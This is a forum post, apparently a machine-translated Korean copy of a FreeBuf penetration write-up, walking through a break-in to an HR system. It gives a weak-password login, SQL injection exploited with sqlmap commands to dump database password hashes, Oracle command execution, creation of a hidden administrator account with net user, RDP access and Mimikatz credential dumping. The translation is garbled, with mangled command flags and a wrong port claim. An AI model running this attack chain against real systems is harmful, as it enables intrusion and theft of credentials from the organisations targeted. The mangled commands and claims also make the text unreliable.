KoreanHackerTeam
Moderator
0x01 弱口令
특정 사이트에 대한 정보를 수집하는 과정에서 하위 도메인 이름을 스캔하여 이전 시스템으로 스캔하십시오.
이것이 2014 년에 오래된 역인 것을 보았을 때, 뭔가 잘못된 것이 있어야합니다!
매일 사용하여 버프 폭발을 시도하지만 터지지 않았습니다.
그러나 빠른 시도 후, 좋은 사람은 123/123에 시스템에 들어갔고 운이 좋았습니다.
(고강도 코딩)

여기서 우리는 그것이 "편집자"직원의 허가임을 알 수 있으며 업로드와 같은 백엔드 관리 기능이 없습니다. 우리는 시스템의 다양한 기능 만 참을성있게 수행 할 수 있습니다.
0x02 SQL注入
시스템에 들어가서 뒤집 으면 민감한 정보 누출이 없었지만 인사 정보가 문의 한 인터페이스에서 SQL 주입이 발견되었습니다 (Xray 수동 스캔으로 스캔).content=123
현재 수동으로 확인하려면 백그라운드 쿠키가 필요하지 않고도 인터페이스에 직접 액세스 할 수 있으며, 이는 무단 액세스 취약성과 동일합니다.
그런 다음이 SQLMAP 셔틀, -쿠키 매개 변수는 필요하지 않습니다.
Python sqlmap.py -u 'http://host.com/xxx/control/searchmenhuninfo?content=123 '-전류 -DB

라이브러리 이름이 여기에 있으며 이것이 Oracle 데이터베이스임을 알 수 있습니다. 나는 껍질로 그것을 시도 할 계획이다.
그러나 매일의 침투 과정에서 Oracle 데이터베이스는 일반적이지 않습니다. SQLMAP의 -os-shell 매개 변수는 여전히 Oracle 데이터베이스를 지원하지 않으므로 가능한 빨리 배우고 판매 할 수 있습니다.
0x03 getshell
먼저이 기사를 참조하십시오. Oracle Injection- 명령 실행 쉘 바운스
주입을 발견 한 후 다음 버전의 Oracle을 실행할 수 있습니다.
그런 다음 sqlmap을 사용하여 Oracle 버전을보십시오
Python sqlmap.py -u 'http://host.com/xxx/control/searchmenhuninfo?content=123 '-B

명령에 의해 실행될 수있는 버전과 일치하는 것 같습니다!
또 다른 장거리 학습을 한 후, 나는 Github 남자가 Oracleshell Oracle Database 명령 실행에 통합 된 도구를 발견했습니다.
도구 스크린 샷은 다음과 같습니다

명령을 실행하려면 데이터베이스 SID, 사용자 이름 및 비밀번호를 알아야한다는 것을 알 수 있습니다.
그런 다음 SQLMAP를 사용하여 알려진 정보를 확장하십시오.
데이터베이스 권한보기 -IS-DBA

데이터베이스 IP, SID보기
여기서 우리는 sqlmap의--sql-shell 모드를 입력하고 sql 문을 사용하여 쿼리
Query Sid : v $ instance에서 instance_name을 선택하십시오
현재 IP를 쿼리하십시오 : 듀얼에서 sys_context ( 'userenv', 'ip_address')를 선택하십시오

모든 데이터베이스 계정 및 비밀번호를 폭파하십시오
sqlmap의 --passwords 매개 변수를 사용하여 데이터베이스의 사용자 이름과 해당 비밀번호를 실행하십시오.
오래 기다린 후 결과가 마침내 얻어졌습니다 (가상의 데이터가 여기에 제공됨)
데이터베이스 관리 시스템 사용자 비밀번호 해시 :
[*] 익명 [1] :
비밀번호 HASH: 익명
[*] HR [1] :
비밀번호 HASHH: 6399F3B38EDF3288
[*] SYS [1] :
비밀번호 HASH: 4DE42795E66117AE
[*] Sysman [1] :
비밀번호 HASHH: B607EEBB3A2D36D0
[*] 시스템 [1] :
비밀번호 HASH: 8877FF8306EF558B
Clear-Text Password: SYS
일부 사용자 이름은 해당 해시 만 얻는다는 것을 알 수 있지만 사용자 이름 시스템 중 하나가 일반 텍스트 비밀번호를 성공적으로 다 떨어 뜨 렸습니다!
쿼리 Oracle 일반적으로 사용되는 포트
Oracle은 실제로 익숙하지 않으므로 Baidu는 포트를 확인합니다.
쿼리는 서버의 기본 포트 번호가 일반적으로 389이고 클라이언트의 기본 포트 번호는 일반적으로 1521임을 발견했습니다.
좋아요! 이제 IP, 포트, SID, 사용자 이름 (시스템) 및 비밀번호 (SYS)가 있으며 도구를 사용하여 직접 연결할 수 있습니다.

모두 제일 좋다! 얻은 시스템 권한!
0x04 进一步证明危害
사용자 생성을 시도하십시오순 사용자 이름 pwd /add
NET 로컬 그룹 관리자 이름 /추가
원격 데스크탑 RDP 연결 이름/pwd

연결이 성공적이었습니다!
Mimikatz를 업로드하고 관리자의 일반 텍스트 비밀번호를 가져옵니다
권한 3:debug
Sekurlsa:LogonPasswords

마지막으로 관리자 계정 RDP에 로그인했습니다

이 시점에서 침투는 끝납니다.
0x05 总结
약한 비밀번호 SQL 주입-getshell- 관리자 권한1. 하위 도메인 이름 스캔 도구를 통해 대상 도메인 이름을 스캔하고 인적 자원 관리 시스템이 있음을 찾으십시오.
2. 123/123 약한 비밀번호를 수동으로 테스트하여 시스템을 입력하십시오.
3. 백그라운드 쿼리 직원에 SQL 주입 취약점이 있습니다 (Xray 수동 스캔으로 스캔)
4. SQLMAP를 통해 현재 데이터베이스를 Oracle로 실행하십시오
python sqlmap.py -u 'http://host.com/xxx/control/searchmenhuninfo?content=123'---current-db
5. SQLMAP의 -OS-SHELL 매개 변수는 Oracle 데이터베이스를 지원하지 않으므로 -OS-SQL을 통해서만 민감한 정보 만 찾을 수 있습니다.
6. Oracle 버전을 쿼리하고 버전이 10.2.1.0임을 찾으십시오 (Oracle의 명령을 실행할 수있는 버전은 8.1.7.4, 9.2.01-9.2.0.7, 10.1.0.2-10.1.0.4, 10.2.0.2.2.2.2.2).
python sqlmap.py -u 'http://host.com/xxx/control/searchmenhuninfo?content=123'-B
7. DBA 권한 인 쿼리 데이터베이스 권한
python sqlmap.py -u 'http://host.com/xxx/control/searchmenhuninfo?content=123'--IS-DBA
8. -OS-SQL을 사용하여 데이터베이스 IP 및 SID를 찾고 봅니다.
v $ instance //Query Sid에서 instance_name을 선택하십시오
dual //현재 IP를 쿼리에서 sys_context ( 'userenv', 'ip_address')를 선택하십시오
9. 비밀번호 덤프는 sqlmap을 통해 수행되며 사용자 이름 시스템은 일반 텍스트 비밀번호를 성공적으로 실행합니다.
python sqlmap.py -u 'http://host.com/xxx/control/searchmenhuninfo?content=123'---passwords
10. 동시에 데이터베이스 서버 IP는 NMAP를 통해 스캔되었고 1521 포트가 열렸습니다.
11. Oracleshell 도구를 통해 데이터베이스에 원격으로 연결하고 시스템 명령을 실행하십시오.
12. 명령에 사용자 이름과 비밀번호를 추가하고 관리자 그룹에 추가하여 레지스트리를 통해 원격 데스크탑을 활성화하십시오.
순 사용자 이름 pwd /add
NET 로컬 그룹 관리자 이름 /추가
13. Mimikatz를 통해 시스템 비밀번호를 읽으십시오
권한 3:debug
Sekurlsa:LogonPasswords
원본 링크 : https://www.freebuf.com/articles/web/284911.html